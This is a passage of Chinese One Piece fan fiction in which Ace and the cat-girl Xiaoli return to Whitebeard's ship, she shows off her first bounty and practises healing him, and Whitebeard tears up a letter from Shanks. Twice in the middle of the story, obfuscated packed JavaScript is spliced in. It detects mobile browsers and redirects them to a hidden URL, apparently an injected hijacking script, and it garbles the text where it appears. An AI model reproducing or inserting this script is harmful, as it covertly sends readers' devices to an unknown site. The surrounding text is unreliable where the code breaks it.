那阴影越来越大,越来越清晰,速度快得骇人。小狸终于勉强辨认出那是什么——那是一张长满森白利齿、每一颗都堪比她整个人的、宛如深渊入口般的血盆大口!而那大口的尺寸,目测比他们脚下的“前锋号”还要庞大数倍!它正以雷霆万钧之势,自下而上,朝着她——或者说,朝着她探出水面的尾巴以及整个小艇——猛冲而来! “呀啊啊啊啊——————!!!!” 小狸发出一声短促而尖利的、几乎破音的惨叫,整个人猛地向后弹起,一屁股重重地跌坐在狭小的船舱地板上,震得她尾椎骨发麻。她甚至顾不上疼,手脚并用地胡乱向后蹬踹,蓝色的瞳孔因为恐惧而缩成了两个针尖。 几乎就在她跌坐的同时,那头潜藏于无风带深处的恐怖海王类,轰然破水而出!庞大如山岳的身躯带起滔天的白色水花,那张足以吞噬小型海船的大口在她方才趴伏的位置猛然闭合,发出“咔嚓”一声令人牙酸的、仿佛金属扭曲的巨响,腥咸的海水如同暴雨般劈头盖脸浇了下来。 而前锋号早已突然加速,艾斯脸上非但没有丝毫紧张,反而洋溢着恶作剧得逞的、极其爽朗快意的大笑声:“哈哈哈哈哈!吓到了吧!”笑声中,“前锋号”尾部火焰骤然喷发加剧,小艇如同离弦之箭,嗖地一下向前猛蹿,险之又险地擦着海王类落下时激起的、堪比海啸的汹涌水波边缘,以一个极其潇洒的弧线冲了出去,将那头茫然的海王类和它制造的混乱远远抛在身后。 “这回知道无风带为什么‘干净’了吧?”艾斯回过头,看着舱里惊魂未定、头发和衣服都被溅起的水花打湿、正抱着自己湿漉漉的尾巴尖、一脸控诉地瞪着他的小狸,笑得肩膀都在抖。 “讨厌鬼!吓死我啦!!!”小狸终于从魂飞魄散中缓过神来,气得脸颊鼓成了包子,随手抓起手边一个空的水囊就朝艾斯丢过去,却被对方轻松接住,反而笑得更欢了。她一边气呼呼地拧着自己尾巴上的水,一边又忍不住偷偷回头,看向那片重归死寂、仿佛什么都没发生的诡异海面,心有余悸地拍了拍胸口。无风带的可怕,以如此直观而震撼的方式,刻进了她的记忆里。 …… 当那艘独一无二的、如同移动岛屿般庞大的鲸鱼船——“莫比迪克号”的熟悉轮廓,终于在前方海平线上由模糊变为清晰时,小狸心中那点因惊吓而生的恼火早就被抛到了九霄云外。她像一颗被按捺不住的快乐充满的气球,一下子蹦到“前锋号”最前端,双手紧紧抓住船头的边缘,踮起脚尖,黑色的猫耳因为兴奋而竖得笔直,像两座敏锐的小雷达,身后的长尾巴更是不受控制地欢快摇摆,划出愉悦的弧线。 “莫比迪克号!我们回来啦——!”她扯开嗓子,用尽力气朝着远方大喊,清亮的声音乘着海风飘散,脸上是毫无保留的、归家般的灿烂笑容,仿佛要将这几日旅途的见闻与思念,一股脑儿地先喊出去。 船越来越近,连甲板上走动的人影都能看清了。瞭望塔上的船员显然也早早就发现了这艘独特的火焰小艇,立刻举起喇叭,发出欢快而响亮的通报:“艾斯队长和小狸回来啦——!” 声音如同投入平静湖面的石子,迅速在莫比迪克号上荡开涟漪。很快,靠近这一侧的船舷边便聚集起不少熟悉的身影,许多人笑着朝他们挥手,粗犷的脸上带着真诚的欢迎。 小艇轻巧地靠上莫比迪克号那如同城墙般高耸的船舷,放下绳梯。艾斯动作利落地率先攀爬上去,矫健的身影在绳索上几个起落便稳稳落在甲板上。他转身,俯身向下,伸出手。小狸将手放进他温暖宽厚的掌心,被他稍一用力,便轻盈地提了上来,落在坚实而熟悉的木质甲板上。 脚踏实地的瞬间,更加热烈而具体的欢迎声浪便将他们彻底包围。 “哦哦!艾斯!小狸!终于舍得回来啦!”水牛阿特摩斯洪亮的声音率先响起。 “玩得开心吗?有没有给我们带特产啊?”以藏倚在栏杆边,优雅地摇着折扇打趣。 “小狸看起来晒黑了一点嘛,不过更精神了!”萨奇围着沾满面粉的围裙,从厨房方向探出头,笑容爽朗。 不少人围拢过来,熟稔地拍打着艾斯的肩膀和后背,询问着旅途见闻,也有人好奇地打量着小狸,目光友善。 马尔科不知何时也走了过来,标志性的金色朋克头在阳光下有些晃眼。他推了推眼镜,那双总是半眯着的眼睛里带着淡淡的笑意和一丝不易察觉的审视:“哟,回来了yoi。怎么样,这一趟,有找到黑胡子那家伙的线索吗?” 提到这个,艾斯脸上轻松的笑意淡去了些,他摇了摇头,抬手压了压帽檐,阴影遮住了眼中一闪而过的锐利与挫败感:“没有。那家伙就像一滴水汇进了大海,彻底没了踪影。我们去了几个他可能藏匿的岛屿和黑市,打听了不少人,都没有确切消息。” 气氛似乎微微凝滞了一瞬。萨奇走上前,宽厚的手掌用力拍了拍艾斯的肩膀,试图用轻松的语气宽慰:“要我说,艾斯,反正我现在也好好的,那混蛋也只是抢走了一颗恶魔果实,要不……这事儿就算了吧?”他顿了顿,“为了一个叛徒,满世界地去追捕,太危险了。” 艾斯却坚定地摇了摇头,帽檐下的黑眸抬起,目光如同经过淬火的刀锋,清晰而锐利:“不行。”他的声音不高,却带着不容置疑的力量,“蒂奇违反了这艘船上唯一的、也是最重要的铁律——伤害同伴。这是绝对不可饶恕的重罪。”他环视了一圈周围的家人,最后目光落在萨奇身上,语气沉重而坚决,“他是我的队员,是我二番队的人。于公于私,我都有责任把他抓回来,带到老爹面前,接受他应得的审判。” 甲板上安静了一瞬。大家都明白艾斯的性格,知道他背负的责任感和那份对于“家人”与“规矩”近乎执拗的坚持。见他心意已决,便也不再劝说,只是纷纷用眼神和动作表达着支持。 比斯塔捋了捋精心修剪的八字胡,豪迈道:“需要帮忙就说一声!我的花剑早就想会会那个敢在老爹船上闹事的混蛋了!” “没错!” “艾斯队长,我们挺你!” 艾斯看着伙伴们,紧绷的嘴角终于缓和,露出一丝感激的笑意。 另一边,小狸早已按捺不住分享的欲望。趁着大家注意力稍微转移,她像只灵活的小松鼠,嗖地一下从随身背着的小布包里,掏出了那张被她用油纸仔细包裹、保护得平平整整的悬赏令。她小心地展开,然后像展示世间最珍贵的宝藏一样,高高举起,让阳光充分照亮上面墨迹清晰的画像和数字。 “大家快看!快看这个!”她的小脸因为兴奋而泛着健康的红晕,眼睛亮得如同倒映了整片星海,尾巴骄傲地翘得老高,尾尖得意地微微颤动,“我的悬赏令!海军发的哦!上面写着我的名字,悬赏金是两、千、万贝利!”她一字一顿地念出那个数字,每个音节都洋溢着“快夸我”的意味。 船员们的反应极其配合,瞬间爆发出哄孩子般浮夸却充满善意的惊叹和赞扬浪潮: “哇——!真的耶!两千万贝利!好厉害!” “出道第一张悬赏令就有这个数!不愧是我们白胡子海贼团的!” “了不得啊小狸!比老子当年在东海混的时候强多了!我当时可是被称为‘东海霸主’……旁边的跟班呢!”一个满脸络腮胡的老船员故意吹嘘到一半改口,引来周围一片善意的哄笑和嘘声。 “这照片照的也好!看这多神气! “萨奇队长,今晚是不是该加餐庆祝一下?” 小狸被这热情洋溢的夸奖淹没,笑得见牙不见眼,尾巴摇得更欢了,仿佛全身每一个细胞都在快乐地冒泡泡。忽然,她眼尖地瞥见了那端坐在甲板中央特制巨椅上、如同山岳般沉稳巍峨的身影。她眼睛一亮,像只发现了目标的快乐小鸟,拿着悬赏令,迈开轻快的步子飞奔过去。跑到近前,她甚至没有停下,而是借着助跑轻盈地一跳,灵巧地踩上椅子宽大结实的扶手,身体微微前倾,将那张悬赏令高高举到白胡子面前。 “老爹!你快看!”她的声音因为奔跑和兴奋而带着微微的喘息,但清晰无比,蓝色的猫瞳里盛满了毫不掩饰的期盼与一点点小炫耀,“我有悬赏令了!是海军发的!两千万哦!” “咕啦啦啦啦啦——!”白胡子低下头,看着扶手边那个小小的人儿和那张在她手中显得格外精致的悬赏令,发出了洪亮而愉悦至极的大笑。那笑声如同远洋的闷雷,又像温暖的海潮,浑厚而充满力量,震得脚下的甲板仿佛都在轻轻共鸣,传递着一种令人心安的喜悦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941761|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸出那足以轻松握住成年男子躯干的巨大手掌,动作却异常轻柔、小心,用指腹极其温柔地揉了揉小狸毛茸茸的脑袋。力道虽已控制,但那手掌实在太大,还是把她那一头本就天生微卷蓬松的黑发揉得更加凌乱不羁,几根不听话的呆毛顽皮地翘了起来,在阳光下随着她的动作一颤一颤。 白胡子的声音里充满了毫不掩饰的纵容与宠溺,如同冬日里烘烤着全身的阳光:“这么快,就在这片大海上留下属于自己的名号了!咕啦啦啦,干得不错!” 小狸一点也不介意被揉成鸟窝的头发,反而像只被顺毛顺到极致的猫咪,开心地眯起了眼睛,甚至主动用头顶蹭了蹭老爹那布满厚茧却异常温暖的手指。柔软的触感和那毫不吝啬的夸奖,让她胸口涨满了沉甸甸的幸福,嘴角高高扬起,怎么也压不下去,仿佛拥有了全世界最棒的礼物。这种被最尊敬的家人认可、夸奖的感觉,如此真切,如此温暖,让她几乎要怀疑自己是不是仍旧漂浮在某个舍不得醒来的美梦之中。 …… 船上的生活,很快便恢复了往日那种熟悉的、喧闹中透着无限温馨的节奏。然而,这次归来后的小狸,与离开前似乎有了一些微妙的不同。有了螺贝岛那次真正意义上的、见血的实战经历,她对自己的战斗方式、力量运用有了更具体也更深刻的感悟。训练时,她不再仅仅满足于模仿和完成动作,而是开始更多地思考如何在移动中发力,如何将猫科动物的敏捷与柔韧更有效地融入攻击与闪避,眼神里多了一份沉静与专注。 同时,她也开始前所未有地认真思考和尝试开发那枚意外得来的、看似“弱小”的复制果实能力。她很清楚自己能力的极限——再怎么努力复制、模仿,她也绝无可能重现艾斯那焚天煮海、仿佛能蒸发一切的爆裂烈焰,或是马尔科那蕴含着涅槃重生奥秘、生生不息的青炎。那不仅仅是能量形态的差异,更是能力者自身意志、灵魂与恶魔果实规则深度结合的体现,独一无二,无法被真正“复制”。 但她并没有气馁。相反,在一次次的尝试和细微的观察中,她发现了一些有趣的现象:随着她对某一种能力的接触增多、理解加深,复制出的那一小部分,在她手中有时会呈现出一些奇妙的、属于她自己的、微小的变化。仿佛她的意志和认知,如同一把极其精细的刻刀,能在复制出的“毛坯”上,进行微调与再塑造。 这个发现让她兴奋不已。她开始像一块永不满足的海绵,开始“缠”上各位队长和船上的高手们。 大家起初大多抱着陪家里可爱又努力的小妹妹玩闹的心态,笑着应允,有问必答,甚至主动演示。直到有一天,马尔科在例行检查小狸“功课”时,那双总是半眯着的眼睛倏然睁大了一丝。 他看见,小狸掌心那一小缕微弱得仿佛随时会熄灭的青蓝色火苗,其内部结构似乎发生了一些极其细微、却绝不容忽视的奇异变化。火焰核心处,那原本只是被动蕴含的、属于不死鸟果实的“治愈”特性,仿佛被某种更精密的意识引导着,不再是均匀散发,而是像有了自己模糊的目标般,尝试着去“探知”、去“贴合”,带着某种“修复”的概念。虽然微弱得近乎幻觉,但马尔科对自己能力的感觉何等敏锐,绝不会看错。 他尝试询问小狸是怎么做到的,小狸眨巴着大眼睛,努力组织着语言,冒出几个他完全听不懂的词汇:“就是……把恶魔果实的变化分成果实和概念拆解开,我能感觉到马尔科先生的火焰里,有种‘修复’的‘程序’?我试着不去照搬整个‘程序’,而是找到里面负责‘识别坏掉部分’和‘启动修补’的‘小开关’……嗯……好像也不太对……”她苦恼地皱起小脸,显然无法用现有的语言准确描述那种玄而又玄的感知与操作。 马尔科听不明白什么“分子水平”、“细胞靶向”、“能量引导路径优化”之类的嘀咕,但他能确定一件事:这小丫头的果实开发方向,似乎走上了一条极其特殊、甚至可能前所未有的岔路。用她的话来说,不是追求威力的复制,而是试图理解本质,并进行极其精微的“再编辑”? 当小狸终于兴冲冲地,带着她鼓捣了许久、自觉有所进步的“改良微缩试验版青炎”,跑去找白胡子,眼睛亮晶晶地请求时,白胡子先是愣了一下,随即发出了更加洪亮的大笑。 他对这个捡回来的小女儿有着超乎寻常的纵容,虽然觉得这更像是孩子异想天开的游戏,但看着她那满是期盼和带着点学术探究般执着的小脸,还是大手一挥,豪爽地应允了:“咕啦啦啦!好!就让老爹看看,你能做到什么地步” 事后才知道发生了什么的马尔科匆匆赶来,小猫已经被船员喊去厨房吃点心了,白胡子带着一丝难以言喻的复杂神色,对前来询问的马尔科微微颔首。他的反馈很简短,却让马尔科心头震动:“……虽然微弱得像隔靴搔痒,但身体里某些积年沉疴带来的滞涩和隐痛……好像,真的有那么一丝丝……几乎感觉不到的松动。” 他顿了顿,巨大的手掌缓缓握紧又松开,眼中闪过一丝欣慰与感慨,体会着那一丝细微的变化 当然,这些话,白胡子是绝不会当着那个已经因为能力有一点点进展而兴奋得尾巴翘上天、整天在甲板上蹦跶偷闲的贪玩小猫面说出来的。“咕啦啦啦,还差得远呢!连给老子挠痒痒都不够劲!”他通常只是用震耳欲聋的大笑和一语带过的评价,来回应小狸每次小心翼翼、满怀期待的询问。免得那个小家伙得意过了头,从此飘飘然不再努力。但他那历经沧桑的眼眸深处,每每看向那个在甲板上与伙伴们嬉闹、或独自在角落对着指尖一缕火苗蹙眉苦思的纤细身影时,所流露出的欣慰与骄傲,却是怎么也藏不住的。 小狸自己也心知肚明,想要治愈老爹那样深植于漫长战斗生涯与岁月中的沉疴旧伤,绝非一朝一夕之功,甚至可能终其一生也难以企及。但她对此有着惊人的耐心。每一次感知上的细微进步,每一次火焰形态的微小优化,都能让她开心许久,仿佛又向那个遥不可及的目标靠近了一点。对她而言,这个过程本身,就是能力成长与表达心意的方式。 白胡子海贼团的众人,就这样带着笑容与包容,注视着这只意外闯入他们世界的小猫,以她独特的步调和方式,在蔚蓝的甲板与更广阔的海天之间,不断汲取养分,悄然蜕变,成长为他们之中愈发不可或缺的、闪烁着独特星光的家人。 35. 来信 这天,莫比迪克号的甲板上如同往日般,蒸腾着独属于海上男儿的、粗糙而充满生命力的喧嚣。阳光慷慨地洒在宽阔的木质甲板上,将一切都镀上一层暖融融的金色。有人在角落的阴影里就着咸鱼干豪饮,麦酒泡沫沾湿了浓密的胡须;有人三五成群聚在擦拭得锃亮的火炮旁,用不知从哪个岛屿赢来的、花纹奇特的骨牌赌着今晚谁去刷甲板,吆喝声与骨牌清脆的碰撞声交织;更远处,几个精力过剩的年轻船员正在进行着看似凶狠、实则充满分寸感的角力,肌肉贲张,汗水在古铜色的皮肤上闪闪发亮,引来阵阵喝彩与善意的嘘声。整艘船像一头慵懒却时刻醒着的巨兽,在规律的浪潮中微微起伏,呼吸着自由与活力的空气。 就在这时,一艘与莫比迪克号庞然身躯相比、小得如同玩具的帆船,怯生生地驶近,停在了安全的距离外。一个身影从那小船上跃下,身手倒也算利落,几个起落便攀上了莫比迪克号垂下的绳网,登上了这艘传奇之船的甲板。 来人是个年轻男子,一头张扬的红发用布带束起,脸上带着刻意维持的、混合着紧张与自傲的神情。他穿着颇显档次的皮质外套,腰间的佩刀柄上镶嵌着看似名贵的宝石。他清了清嗓子,努力挺直脊背,试图让自己在周围那些体型普遍比他大上一圈、气息粗粝的海贼中间显得不那么渺小。他环视一周,声音因为紧张而微微拔高:“在下洛克斯达,奉‘四皇’之一,‘红发’香克斯船长之命,前来送信!” 他特意加重了“四皇”和“红发香克斯”的名号,期待着能引起足够的重视,甚至是一丝敬畏。他甚至提了自己的名号,毕竟,在这片大海上,洛克斯达他“九千四百万”的赏金绝非可以小觑的数字,而“红发”的名头更是如同雷震。 然而,预想中的骚动、瞩目、甚至警惕并未出现。 甲板上的喧嚣仅仅停顿了一瞬,仿佛只是有人不小心打了个嗝。然后,一切照旧。喝酒的继续仰头灌下一大口,喉结滚动;打牌的依旧为了一张牌的好坏争得面红耳赤,唾沫星子几乎喷到对手脸上;角力的两人低吼着将对方的手臂又扳过去一寸,青筋暴起。偶尔有几道目光掠过这位自称信使的人,但那目光里没有惊讶,没有重视,只有一种近乎漠然的、看待某种不请自来的、略显碍事的小物件般的随意,甚至带着点无聊。仿佛他刚才那番郑重其事的自我介绍,不过是海风吹过帆缆时发出的一点无关紧要的杂音。 洛克斯达脸上那点强撑的傲气,在这片彻底的无视中,迅速冻结、龟裂。他站在原地,手还按在佩刀上,姿势僵硬,感觉自己像个误入国王宴会的小丑,所有的台词和准备都成了可笑的独角戏。冷汗悄悄浸湿了他的后背。 最终,在他几乎陷入令人窒息的尴尬与沉默中时,那封被他紧紧攥在手里、几乎要捏出褶皱的信,还是被一个路过的、嘴里嚼着烟草的船员随手接了过去。那船员甚至没看他一眼,就像接过一张无关紧要的废纸,晃晃悠悠地走向甲板中央。 白胡子爱德华·纽盖特端坐在他那张特制的巨椅上,如同盘踞于王座之上的山岳。他刚刚听完关于下一座岛屿补给的报告,正随手拿起旁边堪比小型浴桶的巨大酒碗。那封信就被递到了他巨大的手掌边。 白胡子甚至没有低头去看信封上那属于红发海贼团的标志。他的目光依旧平视着前方广阔的海面,鼻腔里发出一声低沉而充满不屑的冷哼。那声音不大,却仿佛带着实质的重量,让不远处的洛克斯达心头一跳。 接着,在洛克斯达难以置信的目光注视下,白胡子那两根堪比常人手臂粗细的手指,随意地捏住了那封制作精良、火漆完好的信笺。 “嗤啦——!” 干脆利落,没有丝毫犹豫。坚韧的信纸在他指间如同最脆弱的枯叶般,被轻而易举地撕成了两半,然后是四半、八半……碎片如同被骤然惊起的白色蝴蝶,纷纷扬扬地从他指缝间飘落,在甲板上的微风中打着旋儿,最终无力地落在光洁的木板上。 “那个红头发的小鬼……”白胡子的声音响了起来,不高,却如同深海传来的闷雷,每一个字都沉甸甸地敲在人心上,带着历经无数风浪沉淀下的、不容置疑的威严与一丝明显的不悦,“什么时候也学会摆这种架子了?” 他微微侧过头,目光如同实质的探照灯,终于瞥向了僵立原地的洛克斯达,那眼神平静,却让后者瞬间感到如山般的压力扑面而来,几乎喘不过气。 “有话想对老子说?”白胡子扯了扯嘴角,露出一个算不上笑容的弧度,“那就让他自己带上够劲的好酒,亲自划着他的小船,来老子面前说!派个小喽啰,送张轻飘飘的纸片过来——” 他顿了顿,语气陡然转冷,如同北冰洋吹来的寒风: “——算什么玩意儿?” 最后几个字,如同最终宣判。 “滚吧。” 没有怒吼,没有爆发,只是简简单单两个字,配合着那撕碎的信纸和睥睨的眼神,便已将这所谓的“四皇信使”连同他背后的那点傲气,碾磨得粉碎。 洛克斯达的脸瞬间褪尽了血色,变得惨白。他再也维持不住任何姿态,在周围船员们骤然投来的、毫不掩饰的嗤笑与如同看待丧家之犬般的玩味目光中,尊严彻底崩塌。他几乎是连滚爬带,手脚并用地冲向船舷,甚至差点被自己绊倒,狼狈不堪地爬上绳网,滑回自己的小船,起锚扬帆的动作慌乱得如同身后有海王类追赶,头也不敢回地逃离了这片让他魂飞魄散的海域。 赶走了这个微不足道的小插曲,甲板上的气氛甚至更加快活了几分,仿佛刚才只是随手拍飞了一只嗡嗡叫的苍蝇。白胡子啧了一声,像是要把那点不快也吐出去,顺手就想再次端起旁边那只巨大的酒碗,让灼热的酒液冲刷掉那点无谓的烦闷。 “老爹——!” 一个拖长了调子、清脆如风铃敲响、却又带着明明白白的不赞同意味的女声,适时地、准确地响起,打断了这个动作。 只见小狸不知何时已经坐到了离白胡子巨椅不远的一个空木桶上。她双手抱在胸前,一条腿曲起踩在桶边,微微歪着头,那双清澈得能倒映出天空与云影的蔚蓝色猫瞳,此刻正一眨不眨地、极其专注地盯着白胡子——准确地说,是盯着他伸向酒碗的那只巨手。她身后的黑色长尾巴不再悠闲摇晃,而是有些不赞同地、一下下轻轻拍打着身下的木桶壁,发出规律而轻微的“嗒、嗒”声,像个小型的节拍器,在无声地强调着她的监督。马尔科先生可是千叮咛万嘱咐,老爹的旧伤需要静养,烈酒必须严格限量。她可是肩负着重要的“盯梢”使命! 白胡子那伸向酒碗的、足以轻易捏碎岩石的手指,在空中几不可查地停顿了一下。面对儿子们,哪怕是身为一番队队长、总管内务的马尔科,他有时也能用一句“咕啦啦啦少啰嗦”或者一个眼神顶回去。但对着这个家里最小的、会用那双湿漉漉蓝眼睛看着他、会毫不掩饰地表达关心、又会软软撒娇的女儿,他那份纵横大海数十载、说一不二的霸道气势,总是会在某个角落莫名其妙地短了一截,像是坚冰遇到了最柔和的暖阳,无声地融化了一角。 “……啧。”他发出一声介于无奈和妥协之间的、极其轻微的咂嘴声,那声音低得几乎只有他自己能听见。然后,他有些悻悻地、带着点“眼不见为净”的意味收回了手,转而对着旁边一个正努力憋笑的船员挥了挥,像驱赶什么恼人的小飞虫:“拿走吧拿走吧!摆在这儿干什么,看着就心烦!” “耶!老爹最好了!”小狸瞬间变脸,脸上绽放出比阳光还灿烂的笑容,刚才那点小严肃烟消云散。她轻巧地跳下木桶,像只欢快的小鹿般跑到白胡子身边,熟门熟路地开始她每日的“功课”——伸出小手,轻轻贴在白胡子那如同古老橡树树干般粗壮坚实的小臂上。一缕极其微弱、却与马尔科青炎感觉截然不同的、带着她自身独特理解与引导的温和暖流,小心翼翼地探出,开始尝试梳理那些深植于这具伟岸身躯内的、经年累月的战斗所留下的暗伤与淤塞。虽然效果微弱,但她乐此不疲,且每一次都专注得仿佛在雕琢世界上最精细的艺术品。 一边聚精会神地“工作”,她一边想起刚才那个狼狈逃窜的红发信使,忍不住好奇地抬起小脸问:“老爹,刚才那个人说的‘红发’……是很厉害很厉害的海贼吗?和那个‘四皇’……是什么呀?” 这个问题就像投入平静湖面的小石子,立刻激起了周围船员们七嘴八舌、热情洋溢的回应。他们早就想把这片大海上最顶端的格局和那些如雷贯耳的名字,讲给这个家里最小的妹妹听了。 “红发香克斯啊!那可是现在海上的皇帝之一, ‘四皇’ 知道不?就是这片新世界最强大的四个海贼团首领!”一个留着大胡子、缺了颗门牙的船员凑过来,唾沫横飞地比划。 “除了红发,还有我们老爹!世界最强的男人!”另一个光头壮汉骄傲地捶了捶胸口。 “还有BIG MOM夏洛特·玲玲,盘踞在万国的恐怖老太婆!” “以及百兽凯多,那家伙据说是个打不死的怪物!” “至于‘七武海’嘛,就是世界政府招安的七个厉害家伙,算是……嗯,官方的海贼?不过跟我们可不是一路的!” 信息量有些大,各种名号、地盘、传闻交织在一起。小狸听得晕晕乎乎,漂亮的眉毛微微蹙起,猫耳随着不同人的讲解而转向不同的方向,显然试图努力理解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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自从这只意外闯入他们世界、被全船人放在心尖上疼爱的小猫真正成为家庭一员后,白胡子确实体验到了与养育那些皮糙肉厚、打打闹闹的儿子们截然不同的感受。小姑娘大部分时候都乖巧懂事,学习认真,训练刻苦,又懂得关心人。而当她软下声音,用那双清澈见底、盛满依赖与关切的蓝眼睛望着你,毛茸茸的猫耳微微垂下,尾巴轻轻勾着你的脚踝时,再冷硬的心肠,再历经风浪磨砺的意志,也不免为她悄悄软化几分,愿意分出更多的耐心与温柔。 那些以前马尔科带着护士团磨破嘴皮子、搬出各种医学道理也劝不动分毫的酒碗如今也被放下,在小狸捧着马尔科精心调配但味道绝对称不上好的药汤,踮着脚尖,用那双会说话的大眼睛眼巴巴地望着他,小声说“老爹,喝药身体才会好”的时候,竟也能让他停顿片刻,然后……鬼使神差地接过来。 就像此刻,晚霞染红海面时,小狸又端着一个对她来说显得过于巨大的、热气腾腾的药碗,小心翼翼地挪到白胡子脚边。碗里黑乎乎的药汁散发着古怪刺鼻的气味,光是闻着就让人眉头紧锁。 白胡子低头看着那碗药,又看看小狸因为用力而微微发红的小脸和满是期盼的眼神,内心罕见地经历了一番无声的“斗争”。要是几个月前,有人告诉他,他这位名震世界的“白胡子”,会乖乖接过这样一碗看起来像沼泽淤泥、闻起来像腐烂海草熬出来的东西,并且喝下去……他绝对会把那个胆大包天的家伙连同药碗一起,扔到海平线之外去喂海王类。 但现在…… 他几不可闻地叹了口气,那叹息轻微得几乎湮没在海风里。然后,他伸出手——那足以捏碎军舰炮管的手掌,此刻却异常平稳地——接过了那只对他来说像小玩具似的药碗。没有犹豫,仰头,一饮而尽。滚烫而苦涩的液体滑过喉咙,带来一阵灼烧感和难以言喻的古怪滋味,让他浓密的白胡子都忍不住抖动了一下。 而这一切“折磨”,换来的,是小女儿瞬间绽放的、如同星辰落海般璀璨的笑容,和一句雀跃的、毫不吝啬的夸奖:“老爹最棒了!” 好吧。白胡子砸了咂嘴,试图驱散口腔里那令人不快的余味,心里默默想道:似乎……也没那么难以接受。至少,比被这小丫头用那种“老爹不乖”的眼神一直盯着,要舒服那么一点点。 当然,这种“妥协”是绝对不能让某些人知道的。比如,那个此刻正躲在主桅杆阴影后、推着眼镜、嘴角明显上扬、显然在偷笑的菠萝头一番队队长兼船医。 白胡子用眼角的余光精准地锁定了马尔科的位置,鼻腔里发出一声只有他们彼此能意会的、混合着警告与“你给我等着”意味的冷哼。不过那瞪视的目光,在接触到小狸开心地收拾药碗、哼着不成调小曲的背影时,又不自觉地柔和了下来,最终化为眼底深处一丝无人察觉的、纵容的暖意。 甲板重归喧闹,海风温柔,夕阳将一切染成温暖的金红色。家的氛围,在这艘巨船上,因为多了一份细腻的牵挂与管束,而显得愈发完整与生动。 36. 小狸的时尚危机 午后的阳光像融化的蜂蜜,粘稠而温暖地涂抹在莫比迪克号宽敞的后甲板上。海风轻柔,带着咸涩与自由的味道,拂动船帆时发出的声响如同巨兽沉睡的呼吸,规律而令人安心。 小狸盘腿坐在一处被阳光烘烤得微微发烫的木板上,黑色的长尾在身后悠哉地左右摆动,尾尖时不时轻点地板,发出细微的“嗒、嗒”声。她面前摊开一本厚重的、边缘有些卷起的识字课本,米哈尔老师——那位总是戴着眼镜、气质温和的前黑桃海贼团狙击手——正用修长的手指指着书页上的一个复杂词汇,耐心地解释它的发音和含义。 小狸的耳朵随着米哈尔的讲解微微转动,蓝色的猫瞳专注地盯着那些扭曲的字符,努力将音节与形状对应起来。学习这个世界的文字对她来说并不容易,每一个陌生的笔画都像是在对抗她过往十六年认知里那片荒芜的知识沙漠。但她学得很认真,舌尖小心翼翼地模仿着发音,将陌生的词汇和脑子里的形象组合在一起。 就在她为某个颤音的发音蹙起眉头时,旁边传来丢斯和几个原黑桃海贼团成员热闹的谈笑声。他们围坐在一堆修补了一半的渔网旁,手里或拿着工具,或端着喝了一半的麦酒杯,脸上带着陷入回忆时特有的、混合着感慨与戏谑的神情。 “还记得鱼人岛么?”骷髅收藏家斯卡尔灌了口酒,咂咂嘴,眼神飘向远方,“那人鱼咖啡馆的小姐姐们……啧啧,真漂亮呀!声音甜得能把人的骨头都唱酥了!” 丢斯一听这个,原本还算平静的脸立刻垮了下来,没好气地翻了个白眼,手里修补渔网的动作都用力了几分。“你还好意思提!”他的声音带着一种久远的、心有余悸的愤懑,“你们这几个没义气的家伙,一转眼就溜得没影了!就剩我一个人死命拽着艾斯那个白痴!”他模仿着当时的样子,做了个紧紧拽住什么的动作,“我就一眼没看住他!真的,就一眼!他就能从哪个犄角旮旯里钻出来,怀里抱着一大堆——我说是一大堆——各种口味的伟大航路仙贝!天知道我后来陪着那个饭桶吃了多久的仙贝!感觉那段时间打嗝都是海苔和酱油味!” “哈哈哈——!”周围爆发出毫不留情的哄笑。连正在努力认字的小狸耳朵都抖了抖,嘴角忍不住向上翘了翘。她能想象出那个画面:热闹的异国街道,艾斯眼睛发亮地扑向食物摊,而丢斯在一旁徒劳地跳脚。 “那当然是故意的啊!”另一个船员笑得拍大腿,“就艾斯队长那张脸,还有那傻乎乎……咳,灿烂的笑容,要是跟我们一起进了人鱼咖啡馆,那些漂亮小姐姐眼里还能有我们吗?肯定都围着他转了!” “就是就是!战略性的食物引诱,懂不懂?” 丢斯又哼了一声,但嘴角也勾了起来。回忆的滤镜让曾经的窘迫变成了如今有趣的谈资。“不过说起来,后来在和之国,不也买了一堆馒头么?那家伙对食物的执念,简直比海楼石还顽固。” “何止馒头,凡是能塞进嘴里的,他都能给你吃出霸王餐的气势来。”有人接口,语气里满是调侃“要我说,还是因为邦西大妈做的饭太难吃了吧!” 名叫邦西的豪气女海贼踹了他一脚“我是你老妈嘛!不吃就滚。” 话题像是顺着一条欢快的溪流,自然地流淌到了更久远的记忆里。“啊,说起和之国,”丢斯推了推脸上那副标志性的、遮住上半张脸的面具,似乎陷入了更深的回忆,“我还记得,在那个编笠村,不是遇到了个叫小玉的小丫头么?瘦瘦小小的,眼睛却亮得很。” 小狸的注意力被这个名字吸引了,尾巴摆动的幅度慢了下来。 “对对对,想起来了!”另一个船员兴奋地接话,“艾斯队长还跟人家小姑娘约定来着!说什么……等小玉长成了妖艳的女忍者,就带她上船出海,对吧?” “没错没错!‘等你成了妖艳的女忍者,我就带你出海!’——他当时就是这么拍着胸脯说的!哈哈,把人家小姑娘唬得一愣一愣的!” “妖艳的女忍者啊……艾斯队长喜欢那种类型的吗?哈哈哈!” …… 妖艳的女忍者。 这六个字,像六颗冰冷的小石子,猝不及防地投进了小狸原本平静的心湖。 “啪嗒。” 她手里捏着的一小截炭笔掉在了识字课本上,在粗糙的纸页上滚了半圈,留下一道歪斜的灰痕。 那双原本专注于书本的蔚蓝色猫瞳,此刻睁得圆溜溜的,里面清晰地映出震惊、茫然,还有一丝连她自己都未曾察觉的、迅速泛起的细微刺痛。 